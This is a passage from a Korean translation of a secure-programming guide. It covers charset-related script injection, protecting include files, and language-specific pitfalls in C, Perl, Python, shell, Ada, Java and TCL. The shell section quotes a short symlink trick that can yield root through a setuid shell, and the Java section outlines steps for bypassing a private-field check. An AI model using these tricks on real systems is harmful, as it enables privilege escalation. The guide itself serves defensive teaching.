많은 웹페이지들은 문자 인코딩 (HTTP 에서 "charset" 매개변수) 을 정의하지 않은 채 두고 있다. HTML 과 HTTP 초기 버전에서는 문자 인코딩이 정의되어 있지 않으면 이를 디폴트로 ISO-8859-1 로 간주했는데 사실 많은 브라우저들은 다른 디폴트를 가지며 따라서 ISO-8859-1 디폴트에 의존하는 것은 불가능했다. HTML 버전 4 는 이를 합법화하는데 문자 인코딩이 지정되지 않으면 어떠한 문자 인코딩도 사용될 수 있다.

웹 서버가 어떤 문자 인코딩이 사용중인지를 지정하지 않으면 어떤 문자들이 특별한 것인지 알릴 수 없다. 문자 인코딩이 지정되지 않은 웹 페이지들은 대부분의 문자셋이 동일한 문자들에 128 미만의 바이트 값들을 할당하기 때문에 대부분 작동한다. 그러나 128 이상의 값들중에서 어떤 값들이 특별한가? 어떤 16 비트 문자 인코딩 체계들은 "<" 와 같은 특별 문자들에 대해 추가적인 멀티 바이트 표현을 갖고 있으며 어떤 브라우저들은 이러한 대체 인코딩을 인식해서 이에 따라 행동한다. 이는 ``정확한" 거동이지만 악의있는 스크립트를 사용한 공격을 예방하기 더욱 어렵게 만든다. 서버는 어떤 바이트 시퀀스가 특별 문자들을 나타내는지 단순히 모르고 있다.

예를 들어 UTF-7 은 "<" 과 ">" 에 대해 대체 인코딩을 제공하며 몇몇 널리쓰이는 브라우저들은 이를 시작 및 끝 태그로 인식한다. 따라서 이는 그러한 브라우저에서는 버그가 아니며 문자 인코딩이 실제로 UTF-7 이라면 이는 정확한 거동이다. 문제는 브라우저와 서버가 인코딩이 일치하지 않은 상황에 놓일 수도 있다는 것이다.

고맙게 이 문제를 설명하는 것이 어려움에도 불구하고 HTML 에서 이를 해결하는 것은 간단한데 HTML 헤더에 CERT 로부터의 다음 예와 같이 charset 을 단순히 지정하는 것이다:

<HTML>
<HEAD>
<META http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
<TITLE>HTML SAMPLE</TITLE>
</HEAD>
<BODY>
<P>This is a sample HTML page
</BODY>
</HTML>

기술적 관점에서 보았을 때 더욱 좋은 접근 방법은 HTTP 프로토콜 출력의 일부분으로 문자 인코딩을 설정하는 것이다. 물론 어떤 라이브러리들은 이를 더욱 어렵게 만들기도 한다. 이는 클라이언트에게 헤더의 메타정보를 읽을 수 있게 하는 문자 인코딩을 결정하기 위해 헤더를 조사하도록 하지 못하기 때문에 기술적으로 더욱 좋다. 물론 실제로 메타 정보를 읽을 수 없고 이를 정확히 사용할 수 없는 브라우저가 판매 시장에서 성공할 수 없지만 이는 다른 문제이다. 어떤 경우든 이는 서버가 HTTP 프로토콜의 한 부분으로 원하는 값을 갖는 "charset" 을 보낼 필요가 있음을 의미한다. 불행히 어떤 예전 HTTP/1.0 클라이언트들은 명시적인 charset 매개변수를 적절히 다루지 못하기 때문에 이러한 기술적으로 더욱 좋은 접근 방법을 진지하게 추천하는 것은 어렵다. HTTP/1.1 스펙이 클라이언트에게 매개변수를 따르라고 요구함에도 불구하고 이를 유일한 메카니즘이 아닌 정확한 문자 인코딩 사용을 강요하는 부속물로 어떻게든 이를 사용해야 할만큼 충분한지는 의심스럽다.

8.6. 포함/설정 파일 접근을 예방해라

웹기반 애플리케이션을 개발할 때 사용자들에게 포함 (include) 프로그램과 설정 파일과 같은 파일들을 접근 또는 읽기를 허용하지 마라. 이 데이타는 시스템에 침입하는데 충분한 정보 (예, 패스워드) 를 제공할 수도 있다. 이 지침은 때때로 다른 유형의 애플리케이션에도 또한 적용됨을 주목해라. 이를 위해 취할 수 있는 몇몇 행동들이 있다:

• 포함/설정 파일들을 웹 문서 루트의 외부에 두어라 (웹 서버가 이러한 파일들을 절대로 제공할 수 없도록)

• 포함 파일들을 텍스트로 제공하지 않도록 웹 서버를 설정해라. 예를 들어 아파치를 사용한다면 .inc 파일들에 핸들러 또는 액션을 추가할 수 있다.

• 포함 파일들을 .htaccess 를 사용해 보호된 디렉토리에 두고 이들을 제공하지 않을 파일들로 지정해라.

• 파일들에 대한 접근을 거절하기 위해 필터를 사용해라. 아파치 경우 다음과 같다:

  <Files ~ "\.phpincludes"> Order allow,deny Deny from all </Files>

  파일 이름과 일치시키기 위해 완전한 정규 표현이 필요하다면 아파치에서는 FilesMatch 지시를 사용해라.

• 포함 파일이 서버가 분석할 확실한 스크립트 파일이라면 반드시 이 파일이 사용자가 제공한 매개변수에 따라 행동하지 않으며 안전하게 설계되었는지 확인해라.

이러한 접근 방법들은 파일들이 world-readable 이라면 이들이 있는 디렉토리에 접근할 수 있는 사용자들로부터는 보호하지 않을 것이다. 단지 웹 서버의 uid/gid 만 이러한 파일들을 읽을 수 있도록 허가권을 변경할 수는 있다. 그러나 이 접근 방법은 사용자가 웹 서버에게 자신의 스크립트를 실행시키도록 할 수 있다면 효과가 없을 것이다 (사용자가 단지 파일에 접근하는 스크립트를 작성할 수 있다). 기본적으로 사이트가 신뢰되지 않은 사람들과 공유되는 서버에서 호스팅되고 있다면 시스템을 안전하게 하는 것은 어렵다. 한가지 접근 방법은 각자가 다른 허가권을 갖는 다중 웹 서버 프로그램을 실행시키는 것인데 이는 더욱 향상된 보안을 제공하지만 실제로 매우 힘들다. 다른 접근 방법은 이러한 파일들을 각자의 uid/gid 에 의해서만 읽을 수 있도록 설정하여 서버가 ``각자"의 허가권으로 스크립트를 실행시키게 하는 것이다. 이 두번째 방법은 자체적으로 문제를 갖고 있는데 서버의 어떤 부분들이 루트 권한을 가져야 하며 스크립트가 필요 이상의 권한을 가질 수도 있다는 것이다.

9.1. C/C++

C 및 C++ 프로그램과 관련된 가장 커다란 보안 문제중의 하나는 버퍼 오버플로우로 더욱 자세한 정보는 5장 을 보라. C 는 예외 처리를 지원하지 않는다는 추가적인 약점을 갖고 있는데 이는 중대한 에러 상황을 무시하는 프로그램 작성을 용이하게 한다.

C 와 C++ 에서 문자 타입 ``char" 은 컴파일러와 머신에 따라 signed 또는 unsigned 될 수 있다 는것은 한가지 혼란스런 문제이다. 상위 비트가 설정되어 있는 signed char 이 정수로 저장될 때 결과는 음수일 것인데 어떤 경우 이는 악용될 수 있다. 일반적으로 127 (0x71) 보다 큰 값을 가질 수도 있는 문자 데이타를 다룰때 버퍼, 포인터와 캐스트에 대해서는 char 또는 signed char 대신 ``unsigned char" 를 사용해라.

C 와 C++ 은 타입 검사 지원에 있어 정의상 상당히 모호하지만 코드에서 모호할 필요는 없다. 가능한 한 많은 컴파일러 경고를 켜고 코드를 변경해서 이와함께 새롭게 컴파일하며 모든 함수 호출이 정확한 타입을 사용하는 지를 보장하기 위해 별도의 헤더 (.h) 파일에 ANSI 원형을 엄격히 사용해라. gcc 를 사용한 C 또는 C++ 컴파일의 경우 적어도 많은 경고 메시지를 켜는 다음을 컴파일 플래그로 사용해 모든 경고를 제거하려고 해라 (어떤 경고는 더욱 높은 최적화 수준에서 수행되는 데이타 플로우 분석에 의해서만 탐지될 수 있기 때문에 -O2 가 사용됨을 주목해라):

gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2

많은 C/C++ 컴파일러는 부정확한 포맷 문자열들을 탐지할 수 있다. 예를 들어 gcc 는 함수를 표시하기 위해 __attribute__() 기능 (C 확장) 을 사용한다면 이 함수에 대한 부정확한 포맷 문자열에 대해 경고를 할 수 있으며 코드를 이식불가능하게 만들지 않고서도 이 기능을 사용할 수 있다. 다음은 헤더 (.h) 파일에 있는 예이다:

 /* in header.h */
 #ifndef __GNUC__
 #  define __attribute__(x) /*nothing*/
 #endif

 extern void logprintf(const char *format, ...)
    __attribute__((format(printf,1,2)));
 extern void logprintva(const char *format, va_list args)
    __attribute__((format(printf,1,0)));

가능한 열거되는 값들을 정의하기 위해 특별한 값을 갖는 ``char" 또는 ``int" 가 아닌 ``enum" 을 사용해라. 이는 컴파일러가 모든 합법적인 값들이 다루어졌는지 결정하기 위해 사용될 수 있는 switch 문의 값들에 대해 특히 유용하다.

9.2. 펄

펄 프로그래머들은 보안적인 프로그램 작성과 관련된 많은 문제점들을 설명하는 perlsec(1) 맨 페이지를 우선 읽어야 한다. 특히 perlsec(1) 은 대부분의 보안적인 펄 프로그램들이 사용해야 하는 "taint" 모드를 설명하고 있다. Taint 모드는 real 과 effective 사용자 또는 그룹 ID 가 다르면 자동적으로 허가되며 또한 -T 커맨드 라인 플래그를 사용할 수도 있다 (CGI 스크립트와 같이 어떤 누구가를 대신해 작동시킨다면 이를 추후에 사용해라). Taint 모드는 경로 디렉토리들이 others 가 write 허가권이 없음을 확인하기 위해 이들의 검사와 같은 다양한 검사들을 켠다.

Taint 모드의 가장 명백한 영향은 프로그램 외부의 어떤 무언가에 우연히 영향을 끼칠 수있는 프로그램 외부로부터 파생된 데이타를 사용하지 못할 수도 있다는 것이다. Taint 모드에서 모든 외부로부터 얻은 입력은 "tainted" 로 표시되며 이에는 커맨드 라인 인수, 환경 변수, 로케일 정보 (perllocale(1) 을 보라), 어떤 시스템 호출의 결과 (readdir, readlink, getpw* 호출의 gecos 필드) 와 모든 파일 입력들이 있다. Tainted 데이타는 서브 쉘을 호출하는 모든 명령 또는 파일, 디렉토리 또는 프로세스를 변경하는 모든 명령에서 직접적 또는 간접적으로 사용되지 못할 수 있다. 한가지 중요한 예외도 있는데 인수 목록을 system 또는 exec 에 건네준 경우 그 목록의 요소들은 tainedness 에 NOT 으로 체크된다. 따라서 taint 모드에서 system 또는 exec 에 특히 주의해라.

Tainted 데이타로부터 파생된 모든 데이타 값도 또한 tainted 된다. 한가지 예외가 있는데 데이타를 untainting 하는 방법은 tainted 데이타로부터 서브 문자열을 추출하는 것이다. 그렇지만 마구잡이로 그저 ".*" 를 서브 문자열로 사용하지 마라 이는 tainting 메카니즘의 보호를 무너뜨릴 수도 있다. 대신 프로그램이 허용하는 ``안전한" 패턴으로 확인된 패턴들만을 식별하고 이들을 사용해 "확실한" 값들을 추출해라. 값을 추출한 후라도 이를 검사할 필요가 있다 (특히 길이에 대해 검사할 필요가 있다).

open, glob 와 backtick 함수들은 파일 이름의 와일드카드 문자들을 확장하기 위해 쉘을 사용하는데 이는 보안 구멍을 열기 위해 사용될 수 있다. 이러한 함수들을 전적으로 피하거나 perlsec(1) 에 기술된 것과 같이 권한이 적은 sandbox 에서 이들을 사용할 수 있다. 특히 backtick 은 system() 호출을 사용해 재작성되어야 한다 (또는 더욱 좋은 방법으로는 완전히 더욱 안전한 것으로 변경되어야 한다).

펄의 open() 함수는 솔직히 대부분의 보안적인 프로그램에 대해 ``너무나 이상한 방식" 으로 작동하는데 이는 텍스트가 주의깊게 필터링되지 않는다면 많은 보안 문제를 야기할 수 있는 텍스트를 해석한다. 파일 오픈 또는 로크하는 코드를 작성하기 전에 perlopentut(1) 맨 페이지를 참조해라. 대부분의 경우 sysopen() 은 파일 오픈에 더욱 복잡함에도 불구하고 더욱 안전한 방법을 제공하는데 새로운 펄 5.6 에는 매우 복잡한 sysopen() 기능을 필요로 함이 없이 이상한 거동을 끄기 위해 3개의 매개변수를 갖는 open() 호출이 추가되어 있다..

펄 프로그램은 잠재적으로 위험하거나 쓸모없는 문장들을 경고하는 경고 플래그 (-w) 를 켜야 한다.

제한된 환경에서 펄 프로그램을 실행시킬 수도 있는데 더욱 자세한 정보는 표준 펄 배포판에서 "Safe" 모듈을 보라. 저자는 이 모듈이 수행하는 감사의 양을 분명히 모르는데 따라서 보안을 위해 이 모듈을 주의해서 사용해라. 또한 "Penguin Model for Secure Distributed Internet Scripting" 를 고찰할 수도 있다. 그러나 이 문서 작성시점에서 코드와 문서가 도움이 되지 않는 것같다.

9.3. 파이썬

모든 언어에서와 같이 반드시 신뢰되지 않은 사용자가 입력에 영향을 미칠 수 없도록 데이타가 프로그램의 한 부분으로 실행되도록 하는 모든 함수들에 주의해라. 이 함수로는 exec(), eval() 과 exefile() 이 있다 (솔직히 compile() 에 대한 모든 호출을 검사해야 한다). 또한 input() 문도 예기치 않게 위험하다 [Watters 1996, 150].

권한이 없는 사용자에 의해 호출될 수 있는 권한을 갖는 파이썬 프로그램들은 (예, setuid/setgid 프로그램) "user (사용자)" 모듈을 import 하지 않아야 한다. user 모듈은 pthonrc.py 파일이 읽혀져 실행되게 한다. 이 파일을 신뢰되지 않은 사용자가 제어할 수 있기 때문에 user 모듈을 import 하는 것은 공격자에게 신뢰된 프로그램이 임의의 코드를 실행시키도록 할 수 있다.

파이썬은 컴파일시 검사를 거의 하지 않는다 -- 본질적으로 컴파일시 어떠한 타입 정보도 갖지 않으며 건네지는 매개변수의 수가 주어진 함수 또는 메쏘드에 대해 합법적인지를 전혀 검사하지 않는다. 이는 잠재적인 많은 버그를 야기하는데 John Viega 와 저자는 이 문제를 경험해왔다. 잘된다면 언젠가 파이썬은 오랫동안 논의되어온 개념인 선택적인 정적 타이핑 및 타입 검사를 구현할 것이다. 현재 부분적인 해결 방법은 파이썬 소스 코드내의 일반적인 버그를 검사하는 lint 같은 프로그램인 PyChecker 로 http://pychecker.sourceforge.net 에서 얻을 수 있다.

파이썬은 RExec 클래스를 통해 ``제한된 실행 (Restricted Execution)" 을 지원한다. 이는 본래 애플릿과 모바일 코드를 실행시키기 위한 것이지만 코드가 외부에서 제공되지 않을 때에도 프로그램내의 권한을 제한하기 위해 또한 사용될 수 있다. 디폴트로 제한된 실행 환경은 파일 읽기 (쓰기가 아닌) 를 허용하지만 네트워크 접근 또는 GUI 상호작용을 위한 연산을 포함하지는 않는다. 이러한 디폴트는 변경될 수 있는데 제한된 환경에서 허점 (loophole) 생성에 주의해라. 특히 사용자에게 클래스에 속성을 제한없이 추가하도록 허용하는 것은 파이썬 구현이 많은 숨겨진 메쏘드를 호출하기 때문에 환경을 깨뜨릴 수 있는 모든 종류의 방법을 허용한다. 디폴트로 대부분의 파이썬 객체는 참조에 의해 전달됨을 주목해라; 가변값에 대한 참조를 제한된 프로그램의 환경내에 삽입한다면 제한된 프로그램은 제한된 환경 외부에서 보일 수 있게 객체를 변경할 수 있다. 따라서 가변값에 대한 접근을 허용하려면 많은 경우 가변값을 복사하거나 다른 객체에 대한 제한된 접근을 지원하는 Bation 모듈을 사용해야 한다. 더욱 자세한 정보는 Kuchling [2000] 을 보라. 저자는 제한된 실행 능력이 수행하는 감사의 양에 대해 잘 모르며 따라서 프로그래머들은 주의해라.

9.4. 쉘 스크립팅 언어 (sh 과 csh Deritivatives)

저자는 setuid/setgid 보안적인 코드에 대해 csh, sh 와 bash 와 같은 표준 커맨드 쉘 스크립팅 언어를 사용하지 말라고 추천한다. 리눅스와 같은 몇몇 시스템들은 이들을 완전히 금지하기 때문에 불필요한 이식성 문제를 만들 수 있다. 어떤 오래된 시스템에서 이들은 3.1.3절 에서 논의된 바와 같이 경쟁 상태때문에 기본적으로 비보안적이며 다른 시스템에 대해서도 이들은 실제로 좋은 개념이 아니다. 표준 커맨드 쉘은 아직도 명백하지 않은 입력에 의해 영향을 받는 것으로 유명한데 이는 일반적으로 커맨드 쉘이 과감한 공격자에 대해 보호하는 것이 아니라 대화식 사용자들을 위해 자동적으로 작업을 하려고 설계되었기 때문이다. 예를 들어 숨겨진 환경 변수 (예, ENV 또는 BASH_ENV 변수) 는 스크립트가 실행될 수 있기 전이라도 임의의 사용자 정의 코드를 어떻게 연산 또는 더 나아가서는 실행시키는지에 영향을 미칠 수 있다. 실행가능 파일의 이름 또는 디렉토리 내용같은 것들도 영향을 끼칠 수 있는데 예를 들어 많은 Bourne 쉘 구현에서 다음은 루트 권한을 줄 수 있다 (이 악용 설명에 대해 NCSA 에 감사한다).

 % ln -s /usr/bin/setuid-shell /tmp/-x
 % cd /tmp
 % -x

아직도 쉘 스크립팅 언어의 사용을 주장한다면 적어도 스크립트를 이동 또는 변경될 수 없는 디렉토리내에 두어라. 스크립트의 맨 앞에 PATH 와 IFS 를 알려진 값들로 설정해라.

비슷한 맥락으로 저자는 보안적인 정책을 구현하는 ``제한적인 쉘" 을 신뢰하지 않아야 한다고 충고한다. 제한적인 쉘은 의도적으로 사용자로 하여금 많은 작업을 수행하지 못하게 하는 쉘로 그 목적은 사용자에게 단지 아주 소수의 프로그램들만을 실행시킬 수 있도록 하는 것이다. 제한적인 쉘은 철처한 방어 (defense-in-depth) 조치로 유용할 수 있지만 정확하게 설정하는 것이 어렵다고 알려져 있으며 설정되더라도 대개 파괴될 수 있다. 예를 들어 몇몇 제한적인 쉘은 제한되지 않은 모드에서 어떤 파일 (예, ``.profile) 을 실행시킴으로써 시작될 수 있다. - 사용자가 이 파일을 변경시킬 수 있다면 쉘은 변경된 코드를 실행시키는 것이다. 제한적인 쉘은 단지 약간의 프로그랭만을 실행시킬 수 있도록 설정되어야 하지만 그러한 프로그램중 어떤 프로그램이 사용자들로 하여금 더욱 많은 프로그램을 실행시키도록 하는 ``쉘 이스케이프" 를 갖고 있다면 공격자가 이러한 쉘 이스케이프를 사용해 제한적인 쉘을 이스케이프할 수 있다. 물론 제한적인 쉘의 PATH 를 설정하지 않아 어떤 프로그램도 실행될 수 없도록 설정한다 하더라도 공격자는 텍스트 편집기, 메일러 등 많은 프로그램의 쉘 이스케이프를 사용할 수 있다. 문제는 쉘의 목적이 다른 프로그램을 실행시키는 것이지만 그러한 다른 프로그램이 의도되지 않은 연산을 허용할 수도 있다는 것이다. -- 쉘은 이러한 연산을 못하도록 개입하지 않는다.

9.5. Ada

Ada95 에서 Unbounded_String 타입은 필요로하는 만큼 크기가 자동적으로 조절될 수 있기 때문에 String 타입보다 대개 더욱 유연하다. 그러나 패스워드 또는 비밀키와 같이 특히 기밀을 다루는 값들을 Unbounded_String 타입으로 저장하지 마라. 코어 덤프와 페이지 영역이 추후라도 이들을 보유할 수 있다. 대신 이 데이타에는 String 타입을 사용하고 가능한 빨리 데이타를 다른 ' ' 와 같은 어떤 상수값으로 겹쳐 써라.

9.6. 자바

자바를 사용해서 보안적인 프로그램을 개발하려면 솔직히 자바를 배운 후 첫 단계는 자바 보안에 대한 두 개의 기본 텍스트인 Gong [1999] 와 McGraw [1999] 를 읽는 것이다 (두번째의 경우 특히 7.1 절을 보라). 또한 http://java.sun.com/security/seccodeguide.html 에서 썬이 게시한 보안 코드 지침들을 보아야 한다. 자바의 보안 모델을 설명하는 일련의 슬라이드들은 http://www.dwheeler.com/javasec 에서 얻을 수 있다. 또한 McGraw [1998] 을 볼 수도 있다.

명백히 많은 것들은 개발하고 있는 애플리케이션의 유형에 의존하는데 클라이언트측에서 사용하기 위한 자바 코드는 서버측 코드와는 전혀 다른 환경 (과 신뢰 모델) 을 갖고 있다. 물론 일반적인 원리는 적용된다. 예를 들어 신뢰되지 않은 출처로부터 온 모든 입력을 검사 및 필터링해야 한다. 그러나 자바에는 밑부분에서 논의될 조심해야 할 어떤 숨겨진 입력 또는 잠재적 입력들이 있다. Johnathan Nightingale [2000] 은 자바 프로그래밍에서 많은 문제들을 요약하고 있는 재미있는 문서를 작성했다:

...자바 프로그래밍에서 큰 문제는 상속에 신경을 써야한다는 것이다. 부모, 인터페이스 또는 부모의 인터페이스로부터 메쏘드를 상속한다면 코드에 보안 구멍을 열 것을 각오하는 것이다.

다음은 Gong [1999], McGraw [1999], 썬의 길잡이와 저자의 경험에 기초한 중요한 약간의 지침들이다.

1. public 필드 또는 변수를 사용하지 마라; 이들은 private 으로 선언하고 이들의 접근성을 제한할 수 있도록 이들에 대한 접근자를 제공해라.

2. 메쏘드를 private 으로 만들지 않을 확실한 이유가 없다면 private 으로 만들어라 (그렇지 않다면 이를 문서화해라). 이러한 non-private 메쏘드들은 tainted 데이타를 받을 수도 있기 때문에 어쨌든 이들을 보호하기 위해 미리 준비하지 않았다면 그들 자신을 보호해야 한다.

3. JVM 은 애플릿과는 반대로 애플리케이션에서 런타임시 접근 변경자 (예, private) 를 실제 적용하지 않을 수도 있다. 2000년 11월 7일 "Secure Programming" 메일링 리스트에서 이를 지적한 John Steven (Cigital Inc.) 에 고맙게 생각한다. 문제는 이 모두가 접근을 요청하는 클래스가 어떤 클래스 로더와 함께 적재되느냐에 의존한다는 것이다. 클래스가 신뢰된 클래스 로더 (null/primordial 클래스 로더를 포함해) 와 함께 적재되면 접근 검사는 접근을 허용하는 "TRUE" 를 반환한다. 예를 들어 이는 적어도 썬의 1.2.2 VM 과 함께 작동하는데 그러나 다른 버전에서는 작동하지 않을 수도 있다:

   1. public 필드를 갖는 victim 클래스 (V) 를 작성해 컴파일해라.

   2. 이 필드에 접근하는 attack 클래스 (A) 를 작성해 컴파일해라.

   3. V 의 public 필드를 private 으로 변경한 후 다시 컴파일해라.

   4. A 를 실행시켜라 - 이는 V 의 (지금은 private) 필드에 접근할 것이다.

   그러나 애플릿의 경우는 상황이 다르다. A 를 애플릿으로 변환하고 애플릿뷰어 또는 브라우저로 이를 실행시키면 A 의 클래스 로더는 더이상 신뢰된 (또는 null) 클래스 로더가 아니다. 따라서 코드는 클래스 A 로부터 V.secret 필드를 접근하려 하고 있다는 메시지와 함께 java.lang.IllegralAccessError 를 발생시킬 것이다.

4. 정적 필드 변수의 사용을 피해라. 이러한 변수는 클래스 (인스턴스가 아닌) 에 소속된 것으로 모든 다른 클래스가 클래스의 위치를 찾을 수 있다. 그 결과 정적 필드 변수는 모든 다른 클래스가 찾을 수 있으며 따라서 정적 필드 변수를 안전하게 하는 것은 더욱 어렵다.

5. 잠재적으로 악의있는 코드에 가변 객체를 절대로 반환하지 마라 (코드가 이를 변경하기로 결정할 수도 있기 때문에). 배열은 가변적 (물론 배열의 내용들은 가변적이 아닐지라도) 임을 주목해라. 따라서 기밀을 다루는 데이타를 갖는 내부 배열에 대한 참조를 반환하지 마라.

6. 절대로 사용자가 제공한 가변 객체 (객체의 배열을 포함해) 를 직접적으로 저장하지 마라. 그렇지 않으면 사용자가 객체를 보안적인 코드에 건네주고 보안적인 코드가 객체를 검사하게 한 후 보안적인 코드가 데이타를 사용하려고 하는 동안 데이타를 변경할 수 있다. 배열을 내부적으로 저장하기 전에 복제 (clone) 하고 이에 주의해라 (사용자가 작성한 복제 루틴에 주의해라).

7. 초기화에 의존하지 마라. 초기화되지 않은 객체를 할당하는 몇몇 방법이 있다.

8. 확실한 이유가 없다면 모든 것을 final 로 만들어라. 클래스 또는 메쏘드가 final 이 아니라면 공격자가 이를 위험하고 예기치 못한 방식으로 확장하려고 할 수 있다. 물론 이는 보안적이지만 확장성을 잃음을 주목해라.

9. 보안을 위해 패키지 유효 범위 (scope) 에 의존하지 마라. java.lang 와 같은 약간의 클래스들은 디폴트로 닫혀 있으며 몇몇 JVM (Java Virtual Machine) 은 다른 패키지들을 닫도록 한다. 그렇지 않으면 자바 클래스들은 닫혀있지 않은 상태이다. 따라서 공격자가 패키지안에 새로운 클래스를 도입해서 이를 사용해 보호하고 있다고 생각하는 것에 접근할 수 있다.

10. 내부 클래스를 사용하지 마라. 내부 클래스가 바이트 코드로 변환될 때 내부 클래스는 패키지 내의 모든 클래스에 접근할 수 있는 클래스로 변환된다. 더욱 바람직하지 않은 것은 내부 클래스를 갖고 있는 (enclosing) 클래스의 private 필드가 소리없이 non-private 가 되어 내부 클래스에 의한 접근을 허용한다.

11. 권한을 최소화해라. 가능한 어떠한 특별한 허가권도 요구하지 마라. McGraw 는 더 나아가서 모든 코드에 서명하지 말라고 권하고 있다 ; 저자는 더 나아가서 코드에 서명하지만 (따라서 사용자들은 단지 이 전송자 목록에 의해 서명된 코드만 실행시키기로 정할 수 있다) sandbox 권한셋 이상을 필요로 하지 않는 프로그램을 작성하라고 말한다. 더욱 많은 권한을 가져야 한다면 코드를 특별히 엄하게 감사해라.

12. 코드에 서명해야 한다면 이를 모두 한 아카이브 파일에 놓아라. 여기서 McGraw [1999] 를 인용하는 것이 최선이다.

    이 규칙의 목적은 공격자가 악의있는 클래스와 각자가 서명한 클래스들중 일부를 링크시키거나 절대로 함께 사용되지 않아야 하는 서명된 클래스들을 함께 링크시키는 새로운 애플릿 또는 라이브러리를 구축하는 mix-and-match 공격을 수행하지 못하도록 하는 것이다. 일단의 클래스들을 함께 서명함으로써 이 공격을 더 어렵게 만들어라. 기존의 코드 서명 시스템은 mix-and-match 공격을 예방하기에 부적절한데 따라서 이 규칙이 이러한 공격을 완전히 예방할 수는 없다. 그러나 하나의 아카이브를 사용하는 것이 나쁜 영향을 미칠 수는 없다.

13. 클래스를 복제 불가능하게 만들어라. 자바의 객체 복제 메카니즘은 공격자가 생성자들 중 어떤 것도 실행시키지 않고도 클래스를 인스턴스화할 수 있도록 한다. 클래스를 불제 불가능하게 만들기 위해서는 단지 각 클래스에 다음 메쏘드를 정의해라:

    public final void clone() throws java.lang.CloneNotSupportedException { throw new java.lang.CloneNotSupportedException(); }

    클래스를 정말 복제가능하게 만들 필요가 있다면 공격자가 클론 메쏘드를 재정의하지 못하도록 취할 수 있는 약간의 보호 조치가 있다. 각자의 클론 메쏘드를 정의한다면 단지 이를 final 로 정의해라. 그렇지 않으면 다음을 추가함으로써 최소한 클론 메쏘드가 악의적으로 재정의되는 것을 예방할 수 있다:

    public final void clone() throws java.lang.CloneNotSupportedException { super.clone(); }

14. 클래스를 unserializeable 로 만들어라. 직렬화는 공격자가 객체뿐만 아니라 private 부분들의 내부 상태를 볼 수 있도록 한다. 이를 예방하기 위해 클래스에 다음 메쏘드를 추가해라:

    private final void writeObject(ObjectOutputStream out) throws java.io.IOException { throw new java.io.IOException("Object cannot be serialized"); }

    직렬화가 무방한 경우라도 반드시 시스템 자원에 대한 직접적인 핸들과 주소 공간에 대한 정보를 포함하는 필드에 대해 transient 키워드를 사용해라. 그렇지 않으면 클래스를 deserializing 함으로써 부적절한 접근을 허용할 수도 있다. 또한 기밀을 다루는 정보를 transient 로 식별하려고 할 수도 있다.

    클래스에 대해 각자의 직렬화 메쏘드를 정의한다면 배열을 취하는 모든 DataInput/DataOutput 에 내부 배열을 전달해서는 안된다. 근본적 이유는 모든 DataInput/DataOutput 메쏘드들은 재정의될 수 있기 때문이다. Serializable 클래스가 DataOutput (write(byte [] b)) 메쏘드에 직접적으로 private 배열을 보낸다면 공격자는 private 배열을 접근 및 변경할 수 있도록 서브 클래스 ObjectOutputStream 을 사용해 write(byte [] b) 메쏘드를 재정의할 수 있다. 디폴트 serialization 은 DataInput/DataOutput 바이트 배열 메쏘드에 private 바이트 배열 필드를 드러내지 않음을 주목해라.

15. 클래스를 undeserializeable 하게 만들어라. 클래스가 serializeable 하지 않더라도 deserializeable 일 수 있다. 공격자는 자신이 선택한 값을 갖는 클래스의 인스턴스에 우연히 deserialize 할 수 있는 바이트 시퀀스를 생성할 수 있다. 다른 말로 deserialization 은 일종의 public 생성자로 공격자가 객체 상태를 선택할 수 있도록 하는데 이는 명백히 위험한 연산이다. 이를 예방하기 위해 클래스에 다음 메쏘드를 추가해라:

    private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Class cannot be deserialized"); }

16. 이름으로 클래스를 비교하지 마라. 결국 공격자는 동일한 이름을 갖는 클래스를 정의할 수 있으며 주의하지 않는다면 이러한 클래스에 부적당한 권한을 허용함으로써 혼동을 일으킬 수 있다. 다음은 객체가 주어진 클래스를 갖는지를 결정하는데 있어 잘못된 방법의 예이다:

    if (obj.getClass().getName().equals("Foo")) {

    두 객체가 정확히 동일한 클래스를 갖는지 결정할 필요가 있다면 대신 양측에 모두 getClass() 를 사용하고 == 연산자를 사용해 비교해라. 이는 다음과 같이 사용해야 한다:

    if (a.getClass() == b.getClass()) {

    객체가 주어진 클래스이름을 갖는지 정확히 결정할 필요가 있다면 현재 클래스의 ClassLoader 의 현재 이름공간을 사용하는지를 확인할 필요가 있다. 따라서 다음 포맷을 사용할 필요가 있을 것이다:

    if (obj.getClass() == this.getClassLoader().loadClass("Foo")) {

    이 지침은 McGraw 와 Felten 에 의한 것으로 아주 훌륭한 지침인데 저자는 어쨌든 클래스 값들의 비교를 가능한 피하는 것이 언제나 좋은 생각이라고 추가할 것이다. 물론 이를 전혀 할 필요가 없도록 클래스 메쏘드와 인터페이스를 설계하려는 것이 더욱 확실한 방법이다. 그러나 이 방법이 늘 실용적이지는 않으며 따라서 이러한 요령을 아는 것이 중요하다.

17. 암호화키, 패스워드 또는 알고리듬 같은 비밀을 코드 또는 데이타에 저장하지 마라. 악의가 있는 JVM 들은 빨리 이 데이타를 볼 수 있다. 코드 obfuscation (애매화) 이 실제로 심각한 공격자들로부터 코드를 숨기지는 않는다.

9.7. TCL

TCL 은 "tool command language (툴 커맨드 언어)" 의 약어로 tickle 로 발음한다. TCL 은 언어와 라이브러리 두 부분으로 나누어져 있다. 언어는 간단한 텍스트 언어로 대화식 프로그램에 명령을 내주도록 의도되었으며 기본적인 프로그래밍 능력을 포함하고 있으며 라이브버리는 애플리케이션 프로그램에 내장될 수 있다.

TCL WWW Info 웹 페이지와 같은 사이트에서 TCL 에 대한 더욱 자세한 정보를 얻을 수 있다. 아마 대부분의 관심사는 WebWiseTclTk 뿐만 아니라 Safe-TCL (TCL 에서 sandbox 를 생성한다) 과 Safe-TK (Safe-TCL 에 대해 sandboxed 된 이식가능한 GUI 를 구현한다) 툴킷이 TCL 패키지가 World Wide Web 어느곳에서나 자동적으로 위치해 적재될 수 있도록 한다는 것이다. http://www.cbl.ncsu.edu/software/WebWiseTclTk 에서 WebWiseTclTk 에 대한 더욱 자세한 정보를 찾을 수 있다. 그러나 이것이 얼마나 많은 코드 검토를 받았는지 저자에게는 명확하지 않은데 더욱 자세한 정보는 http://www.tclfaq.wservice.com/tcl-faq 에 있는 comp.lang.tcl FAQ 시작 페이지에서 얻을 수 있다. 그러나 TCL 을 작고 "단순한" 언어로 만들려고 한 바램이 오히려 제한된 언어를 초래했음을 언급하는 것은 가치가 있는데 Richard Stallman's ``Why You Should Not Use TCL'' 를 보라. 예를 들어 반드시 단 한가지 데이타 타입 